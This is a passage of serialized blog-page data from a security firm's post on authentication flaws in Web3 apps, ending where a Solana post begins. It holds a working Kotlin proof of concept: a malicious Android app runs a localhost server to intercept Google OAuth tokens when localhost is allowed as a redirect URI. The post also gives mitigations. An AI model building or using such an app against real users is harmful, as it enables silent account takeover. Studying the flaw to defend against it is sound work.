481,"children":68482},{"style":635},[68483],{"type":26,"value":68484}," console",{"type":20,"tag":315,"props":68486,"children":68487},{"style":328},[68488],{"type":26,"value":61},{"type":20,"tag":315,"props":68490,"children":68491},{"style":345},[68492],{"type":26,"value":13264},{"type":20,"tag":315,"props":68494,"children":68495},{"style":328},[68496],{"type":26,"value":1049},{"type":20,"tag":315,"props":68498,"children":68499},{"style":2652},[68500],{"type":26,"value":68501},"'Error parsing token:'",{"type":20,"tag":315,"props":68503,"children":68504},{"style":328},[68505],{"type":26,"value":44},{"type":20,"tag":315,"props":68507,"children":68508},{"style":635},[68509],{"type":26,"value":13264},{"type":20,"tag":315,"props":68511,"children":68512},{"style":328},[68513],{"type":26,"value":2214},{"type":20,"tag":315,"props":68515,"children":68516},{"class":317,"line":453},[68517,68521,68526],{"type":20,"tag":315,"props":68518,"children":68519},{"style":525},[68520],{"type":26,"value":14145},{"type":20,"tag":315,"props":68522,"children":68523},{"style":541},[68524],{"type":26,"value":68525}," null",{"type":20,"tag":315,"props":68527,"children":68528},{"style":328},[68529],{"type":26,"value":1405},{"type":20,"tag":315,"props":68531,"children":68532},{"class":317,"line":486},[68533],{"type":20,"tag":315,"props":68534,"children":68535},{"style":328},[68536],{"type":26,"value":1736},{"type":20,"tag":315,"props":68538,"children":68539},{"class":317,"line":499},[68540],{"type":20,"tag":315,"props":68541,"children":68542},{"style":328},[68543],{"type":26,"value":577},{"type":20,"tag":219,"props":68545,"children":68546},{"id":38750},[68547],{"type":26,"value":38753},{"type":20,"tag":29,"props":68549,"children":68550},{},[68551,68553,68560,68562,68568],{"type":26,"value":68552},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":20,"tag":35,"props":68554,"children":68557},{"href":68555,"rel":68556},"https://supabase.com/docs/guides/database/postgres/row-level-security",[39],[68558],{"type":26,"value":68559},"Row-Level Security",{"type":26,"value":68561}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":20,"tag":119,"props":68563,"children":68565},{"className":68564},[],[68566],{"type":26,"value":68567},"app_metadata",{"type":26,"value":68569},". These fields must be strictly validated at every step of their creation and update processes.",{"type":20,"tag":21,"props":68571,"children":68573},{"id":68572},"oauth-in-development-environments",[68574],{"type":26,"value":68575},"OAuth in development environments",{"type":20,"tag":29,"props":68577,"children":68578},{},[68579,68581,68588,68590,68595],{"type":26,"value":68580},"After watching a ",{"type":20,"tag":35,"props":68582,"children":68585},{"href":68583,"rel":68584},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[39],[68586],{"type":26,"value":68587},"talk",{"type":26,"value":68589}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":20,"tag":119,"props":68591,"children":68593},{"className":68592},[],[68594],{"type":26,"value":68021},{"type":26,"value":68596}," parameter during the OAuth flow.",{"type":20,"tag":29,"props":68598,"children":68599},{},[68600,68602,68609],{"type":26,"value":68601},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":20,"tag":35,"props":68603,"children":68606},{"href":68604,"rel":68605},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[39],[68607],{"type":26,"value":68608},"Remote Code Execution",{"type":26,"value":68610}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":20,"tag":29,"props":68612,"children":68613},{},[68614,68616,68622],{"type":26,"value":68615},"In one of our client's implementations, we identified that ",{"type":20,"tag":119,"props":68617,"children":68619},{"className":68618},[],[68620],{"type":26,"value":68621},"localhost:3000",{"type":26,"value":68623}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":20,"tag":29,"props":68625,"children":68626},{},[68627],{"type":26,"value":68628},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":20,"tag":305,"props":68630,"children":68634},{"className":68631,"code":68632,"language":68633,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[68635],{"type":20,"tag":119,"props":68636,"children":68637},{"__ignoreMap":7},[68638],{"type":20,"tag":315,"props":68639,"children":68640},{"class":317,"line":318},[68641],{"type":20,"tag":315,"props":68642,"children":68643},{},[68644],{"type":26,"value":68632},{"type":20,"tag":29,"props":68646,"children":68647},{},[68648],{"type":26,"value":68649},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":20,"tag":305,"props":68651,"children":68655},{"className":68652,"code":68653,"language":68654,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.search;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n}\n","kotlin",[68656],{"type":20,"tag":119,"props":68657,"children":68658},{"__ignoreMap":7},[68659,68686,68693,68725,68747,68754,68762,68784,68796,68808,68843,68869,68919,68926,68933,68940,68948,68970,69005,69018,69025,69032,69053,69079,69091,69112,69129,69141,69167,69206,69227,69235,69247,69272,69284,69297,69305,69312,69320,69328,69335,69365,69372],{"type":20,"tag":315,"props":68660,"children":68661},{"class":317,"line":318},[68662,68667,68672,68677,68682],{"type":20,"tag":315,"props":68663,"children":68664},{"style":541},[68665],{"type":26,"value":68666},"class",{"type":20,"tag":315,"props":68668,"children":68669},{"style":322},[68670],{"type":26,"value":68671}," MainActivity",{"type":20,"tag":315,"props":68673,"children":68674},{"style":328},[68675],{"type":26,"value":68676}," : ",{"type":20,"tag":315,"props":68678,"children":68679},{"style":322},[68680],{"type":26,"value":68681},"AppCompatActivity",{"type":20,"tag":315,"props":68683,"children":68684},{"style":328},[68685],{"type":26,"value":14137},{"type":20,"tag":315,"props":68687,"children":68688},{"class":317,"line":356},[68689],{"type":20,"tag":315,"props":68690,"children":68691},{"emptyLinePlaceholder":15},[68692],{"type":26,"value":427},{"type":20,"tag":315,"props":68694,"children":68695},{"class":317,"line":365},[68696,68701,68705,68710,68715,68720],{"type":20,"tag":315,"props":68697,"children":68698},{"style":541},[68699],{"type":26,"value":68700}," override",{"type":20,"tag":315,"props":68702,"children":68703},{"style":541},[68704],{"type":26,"value":4601},{"type":20,"tag":315,"props":68706,"children":68707},{"style":345},[68708],{"type":26,"value":68709}," onCreate",{"type":20,"tag":315,"props":68711,"children":68712},{"style":328},[68713],{"type":26,"value":68714},"(savedInstanceState: ",{"type":20,"tag":315,"props":68716,"children":68717},{"style":322},[68718],{"type":26,"value":68719},"Bundle",{"type":20,"tag":315,"props":68721,"children":68722},{"style":328},[68723],{"type":26,"value":68724},"?) {\n",{"type":20,"tag":315,"props":68726,"children":68727},{"class":317,"line":374},[68728,68733,68737,68742],{"type":20,"tag":315,"props":68729,"children":68730},{"style":541},[68731],{"type":26,"value":68732}," super",{"type":20,"tag":315,"props":68734,"children":68735},{"style":328},[68736],{"type":26,"value":61},{"type":20,"tag":315,"props":68738,"children":68739},{"style":345},[68740],{"type":26,"value":68741},"onCreate",{"type":20,"tag":315,"props":68743,"children":68744},{"style":328},[68745],{"type":26,"value":68746},"(savedInstanceState)\n",{"type":20,"tag":315,"props":68748,"children":68749},{"class":317,"line":383},[68750],{"type":20,"tag":315,"props":68751,"children":68752},{"emptyLinePlaceholder":15},[68753],{"type":26,"value":427},{"type":20,"tag":315,"props":68755,"children":68756},{"class":317,"line":407},[68757],{"type":20,"tag":315,"props":68758,"children":68759},{"style":1071},[68760],{"type":26,"value":68761}," // Start the Ktor web server\n",{"type":20,"tag":315,"props":68763,"children":68764},{"class":317,"line":421},[68765,68770,68775,68780],{"type":20,"tag":315,"props":68766,"children":68767},{"style":345},[68768],{"type":26,"value":68769}," CoroutineScope",{"type":20,"tag":315,"props":68771,"children":68772},{"style":328},[68773],{"type":26,"value":68774},"(Dispatchers.IO).",{"type":20,"tag":315,"props":68776,"children":68777},{"style":345},[68778],{"type":26,"value":68779},"launch",{"type":20,"tag":315,"props":68781,"children":68782},{"style":328},[68783],{"type":26,"value":1092},{"type":20,"tag":315,"props":68785,"children":68786},{"class":317,"line":430},[68787,68792],{"type":20,"tag":315,"props":68788,"children":68789},{"style":525},[68790],{"type":26,"value":68791}," try",{"type":20,"tag":315,"props":68793,"children":68794},{"style":328},[68795],{"type":26,"value":1092},{"type":20,"tag":315,"props":68797,"children":68798},{"class":317,"line":453},[68799,68804],{"type":20,"tag":315,"props":68800,"children":68801},{"style":345},[68802],{"type":26,"value":68803}," startWebServer",{"type":20,"tag":315,"props":68805,"children":68806},{"style":328},[68807],{"type":26,"value":6131},{"type":20,"tag":315,"props":68809,"children":68810},{"class":317,"line":486},[68811,68816,68821,68825,68830,68834,68839],{"type":20,"tag":315,"props":68812,"children":68813},{"style":328},[68814],{"type":26,"value":68815}," Log.",{"type":20,"tag":315,"props":68817,"children":68818},{"style":345},[68819],{"type":26,"value":68820},"d",{"type":20,"tag":315,"props":68822,"children":68823},{"style":328},[68824],{"type":26,"value":1049},{"type":20,"tag":315,"props":68826,"children":68827},{"style":2652},[68828],{"type":26,"value":68829},"\"WebServer\"",{"type":20,"tag":315,"props":68831,"children":68832},{"style":328},[68833],{"type":26,"value":44},{"type":20,"tag":315,"props":68835,"children":68836},{"style":2652},[68837],{"type":26,"value":68838},"\"Server started on http://localhost:3000\"",{"type":20,"tag":315,"props":68840,"children":68841},{"style":328},[68842],{"type":26,"value":380},{"type":20,"tag":315,"props":68844,"children":68845},{"class":317,"line":499},[68846,68851,68855,68860,68865],{"type":20,"tag":315,"props":68847,"children":68848},{"style":328},[68849],{"type":26,"value":68850}," } ",{"type":20,"tag":315,"props":68852,"children":68853},{"style":541},[68854],{"type":26,"value":46662},{"type":20,"tag":315,"props":68856,"children":68857},{"style":328},[68858],{"type":26,"value":68859}," (e: ",{"type":20,"tag":315,"props":68861,"children":68862},{"style":322},[68863],{"type":26,"value":68864},"Exception",{"type":20,"tag":315,"props":68866,"children":68867},{"style":328},[68868],{"type":26,"value":549},{"type":20,"tag":315,"props":68870,"children":68871},{"class":317,"line":513},[68872,68876,68880,68884,68888,68892,68897,68901,68906,68910,68914],{"type":20,"tag":315,"props":68873,"children":68874},{"style":328},[68875],{"type":26,"value":68815},{"type":20,"tag":315,"props":68877,"children":68878},{"style":345},[68879],{"type":26,"value":49706},{"type":20,"tag":315,"props":68881,"children":68882},{"style":328},[68883],{"type":26,"value":1049},{"type":20,"tag":315,"props":68885,"children":68886},{"style":2652},[68887],{"type":26,"value":68829},{"type":20,"tag":315,"props":68889,"children":68890},{"style":328},[68891],{"type":26,"value":44},{"type":20,"tag":315,"props":68893,"children":68894},{"style":2652},[68895],{"type":26,"value":68896},"\"Error starting server: ",{"type":20,"tag":315,"props":68898,"children":68899},{"style":541},[68900],{"type":26,"value":32523},{"type":20,"tag":315,"props":68902,"children":68903},{"style":334},[68904],{"type":26,"value":68905},"e.message",{"type":20,"tag":315,"props":68907,"children":68908},{"style":541},[68909],{"type":26,"value":32555},{"type":20,"tag":315,"props":68911,"children":68912},{"style":2652},[68913],{"type":26,"value":18463},{"type":20,"tag":315,"props":68915,"children":68916},{"style":328},[68917],{"type":26,"value":68918},", e)\n",{"type":20,"tag":315,"props":68920,"children":68921},{"class":317,"line":521},[68922],{"type":20,"tag":315,"props":68923,"children":68924},{"style":328},[68925],{"type":26,"value":57138},{"type":20,"tag":315,"props":68927,"children":68928},{"class":317,"line":552},[68929],{"type":20,"tag":315,"props":68930,"children":68931},{"style":328},[68932],{"type":26,"value":1728},{"type":20,"tag":315,"props":68934,"children":68935},{"class":317,"line":571},[68936],{"type":20,"tag":315,"props":68937,"children":68938},{"emptyLinePlaceholder":15},[68939],{"type":26,"value":427},{"type":20,"tag":315,"props":68941,"children":68942},{"class":317,"line":2031},[68943],{"type":20,"tag":315,"props":68944,"children":68945},{"style":1071},[68946],{"type":26,"value":68947}," // Open the Google OAuth page\n",{"type":20,"tag":315,"props":68949,"children":68950},{"class":317,"line":2053},[68951,68956,68961,68965],{"type":20,"tag":315,"props":68952,"children":68953},{"style":541},[68954],{"type":26,"value":68955}," val",{"type":20,"tag":315,"props":68957,"children":68958},{"style":328},[68959],{"type":26,"value":68960}," googleOAuthUrl ",{"type":20,"tag":315,"props":68962,"children":68963},{"style":334},[68964],{"type":26,"value":337},{"type":20,"tag":315,"props":68966,"children":68967},{"style":2652},[68968],{"type":26,"value":68969}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":20,"tag":315,"props":68971,"children":68972},{"class":317,"line":2061},[68973,68977,68982,68986,68991,68996,69000],{"type":20,"tag":315,"props":68974,"children":68975},{"style":541},[68976],{"type":26,"value":68955},{"type":20,"tag":315,"props":68978,"children":68979},{"style":328},[68980],{"type":26,"value":68981}," browserIntent ",{"type":20,"tag":315,"props":68983,"children":68984},{"style":334},[68985],{"type":26,"value":337},{"type":20,"tag":315,"props":68987,"children":68988},{"style":345},[68989],{"type":26,"value":68990}," Intent",{"type":20,"tag":315,"props":68992,"children":68993},{"style":328},[68994],{"type":26,"value":68995},"(Intent.ACTION_VIEW, Uri.",{"type":20,"tag":315,"props":68997,"children":68998},{"style":345},[68999],{"type":26,"value":37628},{"type":20,"tag":315,"props":69001,"children":69002},{"style":328},[69003],{"type":26,"value":69004},"(googleOAuthUrl))\n",{"type":20,"tag":315,"props":69006,"children":69007},{"class":317,"line":2070},[69008,69013],{"type":20,"tag":315,"props":69009,"children":69010},{"style":345},[69011],{"type":26,"value":69012}," startActivity",{"type":20,"tag":315,"props":69014,"children":69015},{"style":328},[69016],{"type":26,"value":69017},"(browserIntent)\n",{"type":20,"tag":315,"props":69019,"children":69020},{"class":317,"line":2139},[69021],{"type":20,"tag":315,"props":69022,"children":69023},{"style":328},[69024],{"type":26,"value":1736},{"type":20,"tag":315,"props":69026,"children":69027},{"class":317,"line":2147},[69028],{"type":20,"tag":315,"props":69029,"children":69030},{"emptyLinePlaceholder":15},[69031],{"type":26,"value":427},{"type":20,"tag":315,"props":69033,"children":69034},{"class":317,"line":2177},[69035,69040,69044,69049],{"type":20,"tag":315,"props":69036,"children":69037},{"style":541},[69038],{"type":26,"value":69039}," private",{"type":20,"tag":315,"props":69041,"children":69042},{"style":541},[69043],{"type":26,"value":4601},{"type":20,"tag":315,"props":69045,"children":69046},{"style":345},[69047],{"type":26,"value":69048}," startWebServer",{"type":20,"tag":315,"props":69050,"children":69051},{"style":328},[69052],{"type":26,"value":14137},{"type":20,"tag":315,"props":69054,"children":69055},{"class":317,"line":2185},[69056,69061,69066,69070,69075],{"type":20,"tag":315,"props":69057,"children":69058},{"style":345},[69059],{"type":26,"value":69060}," embeddedServer",{"type":20,"tag":315,"props":69062,"children":69063},{"style":328},[69064],{"type":26,"value":69065},"(CIO, port ",{"type":20,"tag":315,"props":69067,"children":69068},{"style":334},[69069],{"type":26,"value":337},{"type":20,"tag":315,"props":69071,"children":69072},{"style":765},[69073],{"type":26,"value":69074}," 3000",{"type":20,"tag":315,"props":69076,"children":69077},{"style":328},[69078],{"type":26,"value":549},{"type":20,"tag":315,"props":69080,"children":69081},{"class":317,"line":2217},[69082,69087],{"type":20,"tag":315,"props":69083,"children":69084},{"style":345},[69085],{"type":26,"value":69086}," routing",{"type":20,"tag":315,"props":69088,"children":69089},{"style":328},[69090],{"type":26,"value":1092},{"type":20,"tag":315,"props":69092,"children":69093},{"class":317,"line":2225},[69094,69099,69103,69108],{"type":20,"tag":315,"props":69095,"children":69096},{"style":541},[69097],{"type":26,"value":69098}," get",{"type":20,"tag":315,"props":69100,"children":69101},{"style":328},[69102],{"type":26,"value":1049},{"type":20,"tag":315,"props":69104,"children":69105},{"style":2652},[69106],{"type":26,"value":69107},"\"{...}\"",{"type":20,"tag":315,"props":69109,"children":69110},{"style":328},[69111],{"type":26,"value":549},{"type":20,"tag":315,"props":69113,"children":69114},{"class":317,"line":2285},[69115,69120,69125],{"type":20,"tag":315,"props":69116,"children":69117},{"style":328},[69118],{"type":26,"value":69119}," call.",{"type":20,"tag":315,"props":69121,"children":69122},{"style":345},[69123],{"type":26,"value":69124},"respondHtml",{"type":20,"tag":315,"props":69126,"children":69127},{"style":328},[69128],{"type":26,"value":1092},{"type":20,"tag":315,"props":69130,"children":69131},{"class":317,"line":7444},[69132,69137],{"type":20,"tag":315,"props":69133,"children":69134},{"style":345},[69135],{"type":26,"value":69136}," head",{"type":20,"tag":315,"props":69138,"children":69139},{"style":328},[69140],{"type":26,"value":1092},{"type":20,"tag":315,"props":69142,"children":69143},{"class":317,"line":7462},[69144,69149,69154,69158,69163],{"type":20,"tag":315,"props":69145,"children":69146},{"style":345},[69147],{"type":26,"value":69148}," meta",{"type":20,"tag":315,"props":69150,"children":69151},{"style":328},[69152],{"type":26,"value":69153},"(charset ",{"type":20,"tag":315,"props":69155,"children":69156},{"style":334},[69157],{"type":26,"value":337},{"type":20,"tag":315,"props":69159,"children":69160},{"style":2652},[69161],{"type":26,"value":69162}," \"UTF-8\"",{"type":20,"tag":315,"props":69164,"children":69165},{"style":328},[69166],{"type":26,"value":380},{"type":20,"tag":315,"props":69168,"children":69169},{"class":317,"line":7507},[69170,69174,69179,69183,69188,69193,69197,69202],{"type":20,"tag":315,"props":69171,"children":69172},{"style":345},[69173],{"type":26,"value":69148},{"type":20,"tag":315,"props":69175,"children":69176},{"style":328},[69177],{"type":26,"value":69178},"(name ",{"type":20,"tag":315,"props":69180,"children":69181},{"style":334},[69182],{"type":26,"value":337},{"type":20,"tag":315,"props":69184,"children":69185},{"style":2652},[69186],{"type":26,"value":69187}," \"viewport\"",{"type":20,"tag":315,"props":69189,"children":69190},{"style":328},[69191],{"type":26,"value":69192},", content ",{"type":20,"tag":315,"props":69194,"children":69195},{"style":334},[69196],{"type":26,"value":337},{"type":20,"tag":315,"props":69198,"children":69199},{"style":2652},[69200],{"type":26,"value":69201}," \"width=device-width, initial-scale=1.0\"",{"type":20,"tag":315,"props":69203,"children":69204},{"style":328},[69205],{"type":26,"value":380},{"type":20,"tag":315,"props":69207,"children":69208},{"class":317,"line":7613},[69209,69214,69218,69223],{"type":20,"tag":315,"props":69210,"children":69211},{"style":345},[69212],{"type":26,"value":69213}," title",{"type":20,"tag":315,"props":69215,"children":69216},{"style":328},[69217],{"type":26,"value":1049},{"type":20,"tag":315,"props":69219,"children":69220},{"style":2652},[69221],{"type":26,"value":69222},"\"OAuth Redirect\"",{"type":20,"tag":315,"props":69224,"children":69225},{"style":328},[69226],{"type":26,"value":380},{"type":20,"tag":315,"props":69228,"children":69229},{"class":317,"line":21914},[69230],{"type":20,"tag":315,"props":69231,"children":69232},{"style":328},[69233],{"type":26,"value":69234}," }\n",{"type":20,"tag":315,"props":69236,"children":69237},{"class":317,"line":21949},[69238,69243],{"type":20,"tag":315,"props":69239,"children":69240},{"style":345},[69241],{"type":26,"value":69242}," body",{"type":20,"tag":315,"props":69244,"children":69245},{"style":328},[69246],{"type":26,"value":1092},{"type":20,"tag":315,"props":69248,"children":69249},{"class":317,"line":21957},[69250,69255,69259,69263,69268],{"type":20,"tag":315,"props":69251,"children":69252},{"style":345},[69253],{"type":26,"value":69254}," h1",{"type":20,"tag":315,"props":69256,"children":69257},{"style":328},[69258],{"type":26,"value":7985},{"type":20,"tag":315,"props":69260,"children":69261},{"style":334},[69262],{"type":26,"value":817},{"type":20,"tag":315,"props":69264,"children":69265},{"style":2652},[69266],{"type":26,"value":69267},"\"Google OAuth Redirect\"",{"type":20,"tag":315,"props":69269,"children":69270},{"style":328},[69271],{"type":26,"value":7995},{"type":20,"tag":315,"props":69273,"children":69274},{"class":317,"line":21965},[69275,69280],{"type":20,"tag":315,"props":69276,"children":69277},{"style":345},[69278],{"type":26,"value":69279}," script",{"type":20,"tag":315,"props":69281,"children":69282},{"style":328},[69283],{"type":26,"value":1092},{"type":20,"tag":315,"props":69285,"children":69286},{"class":317,"line":21974},[69287,69292],{"type":20,"tag":315,"props":69288,"children":69289},{"style":334},[69290],{"type":26,"value":69291}," +",{"type":20,"tag":315,"props":69293,"children":69294},{"style":2652},[69295],{"type":26,"value":69296},"\"document.body.innerText = location.search;\"\n",{"type":20,"tag":315,"props":69298,"children":69299},{"class":317,"line":22016},[69300],{"type":20,"tag":315,"props":69301,"children":69302},{"style":328},[69303],{"type":26,"value":69304}," }\n",{"type":20,"tag":315,"props":69306,"children":69307},{"class":317,"line":22049},[69308],{"type":20,"tag":315,"props":69309,"children":69310},{"style":328},[69311],{"type":26,"value":69234},{"type":20,"tag":315,"props":69313,"children":69314},{"class":317,"line":22057},[69315],{"type":20,"tag":315,"props":69316,"children":69317},{"style":328},[69318],{"type":26,"value":69319}," }\n",{"type":20,"tag":315,"props":69321,"children":69322},{"class":317,"line":22065},[69323],{"type":20,"tag":315,"props":69324,"children":69325},{"style":328},[69326],{"type":26,"value":69327}," }\n",{"type":20,"tag":315,"props":69329,"children":69330},{"class":317,"line":22074},[69331],{"type":20,"tag":315,"props":69332,"children":69333},{"style":328},[69334],{"type":26,"value":57138},{"type":20,"tag":315,"props":69336,"children":69337},{"class":317,"line":22150},[69338,69343,69348,69353,69357,69361],{"type":20,"tag":315,"props":69339,"children":69340},{"style":328},[69341],{"type":26,"value":69342}," }.",{"type":20,"tag":315,"props":69344,"children":69345},{"style":345},[69346],{"type":26,"value":69347},"start",{"type":20,"tag":315,"props":69349,"children":69350},{"style":328},[69351],{"type":26,"value":69352},"(wait ",{"type":20,"tag":315,"props":69354,"children":69355},{"style":334},[69356],{"type":26,"value":337},{"type":20,"tag":315,"props":69358,"children":69359},{"style":541},[69360],{"type":26,"value":544},{"type":20,"tag":315,"props":69362,"children":69363},{"style":328},[69364],{"type":26,"value":380},{"type":20,"tag":315,"props":69366,"children":69367},{"class":317,"line":22183},[69368],{"type":20,"tag":315,"props":69369,"children":69370},{"style":328},[69371],{"type":26,"value":1736},{"type":20,"tag":315,"props":69373,"children":69374},{"class":317,"line":22191},[69375],{"type":20,"tag":315,"props":69376,"children":69377},{"style":328},[69378],{"type":26,"value":577},{"type":20,"tag":29,"props":69380,"children":69381},{},[69382],{"type":26,"value":69383},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":20,"tag":29,"props":69385,"children":69386},{},[69387],{"type":26,"value":69388},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":20,"tag":219,"props":69390,"children":69392},{"id":69391},"mitigation-1",[69393],{"type":26,"value":38753},{"type":20,"tag":29,"props":69395,"children":69396},{},[69397,69399,69404],{"type":26,"value":69398},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":20,"tag":119,"props":69400,"children":69402},{"className":69401},[],[69403],{"type":26,"value":68021},{"type":26,"value":69405}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":20,"tag":21,"props":69407,"children":69408},{"id":1211},[69409],{"type":26,"value":1214},{"type":20,"tag":29,"props":69411,"children":69412},{},[69413],{"type":26,"value":69414},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":20,"tag":29,"props":69416,"children":69417},{},[69418],{"type":26,"value":69419},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":20,"tag":1226,"props":69421,"children":69422},{},[69423],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":69425},[69426,69433,69438,69441],{"id":67789,"depth":356,"text":67792,"children":69427},[69428,69429,69430,69431,69432],{"id":67800,"depth":365,"text":67803},{"id":67827,"depth":365,"text":67830},{"id":67888,"depth":365,"text":67891},{"id":67945,"depth":365,"text":67948},{"id":68044,"depth":365,"text":68047},{"id":68090,"depth":356,"text":68093,"children":69434},[69435,69436,69437],{"id":68096,"depth":365,"text":68099},{"id":68123,"depth":365,"text":68126},{"id":38750,"depth":365,"text":38753},{"id":68572,"depth":356,"text":68575,"children":69439},[69440],{"id":69391,"depth":365,"text":38753},{"id":1211,"depth":356,"text":1214},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":69446,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":69447,"description":69448,"author":38869,"image":69449,"date":69451,"isFeatured":15,"tags":69452,"onBlogPage":15,"body":69453,"_type":1242,"_id":74107,"_source":1244,"_file":74108,"_stem":74109,"_extension":1247},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":69450,"height":12024,"width":12024},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[1259],{"type":17,"children":69454,"toc":74096},[69455,69459,69464,69478,69484,69489,69519,69524,69529,70567,70572,70580,70585,70591,70597,70609,70642,70654,70667,70679,71124,71129,71175,71181,71186,71273,71278,71292,71305,71968,71973,71985,71991,72002,72014,72168,72182,72201,72222,72228,72233,72578,72583,72589,72608,72622,73244,73249,73269,73274,73279,73285,73297,73318,73493,73499,73504,73805,73826,73838,73850,73934,73954,73966,73972,73984,73990,73995,74018,74030,74036,74048,74053,74059,74064,74069,74087,74092],{"type":20,"tag":21,"props":69456,"children":69457},{"id":23},[69458],{"type":26,"value":27},{"type":20,"tag":29,"props":69460,"children":69461},{},[69462],{"type":26,"value":69463},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":20,"tag":29,"props":69465,"children":69466},{},[69467,69469,69476],{"type":26,"value":69468},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":20,"tag":35,"props":69470,"children":69473},{"href":69471,"rel":69472},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[39],[69474],{"type":26,"value":69475},"King of the Ether",{"type":26,"value":69477},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":20,"tag":21,"props":69479,"children":69481},{"id":69480},"the-game-king-of-the-sol",[69482],{"type":26,"value":69483},"The Game: King of the SOL",{"type":20,"tag":29,"props":69485,"children":69486},{},[69487],{"type":26,"value":69488},"The game works like this:",{"type":20,"tag":15089,"props":69490,"children":69491},{},[69492,69504,69509,69514],{"type":20,"tag":72,"props":69493,"children":69494},{},[69495,69497,69502],{"type":26,"value":69496},"Anyone can become the ",{"type":20,"tag":3717,"props":69498,"children":69499},{},[69500],{"type":26,"value":69501},"king",{"type":26,"value":69503}," by bidding at least 2× the previous bid.",{"type":20,"tag":72,"props":69505,"children":69506},{},[69507],{"type":26,"value":69508},"The old king is reimbursed 95% of their bid.",{"type":20,"tag":72,"props":69510,"children":69511},{},[69512],{"type":26,"value":69513},"The remaining 5% goes 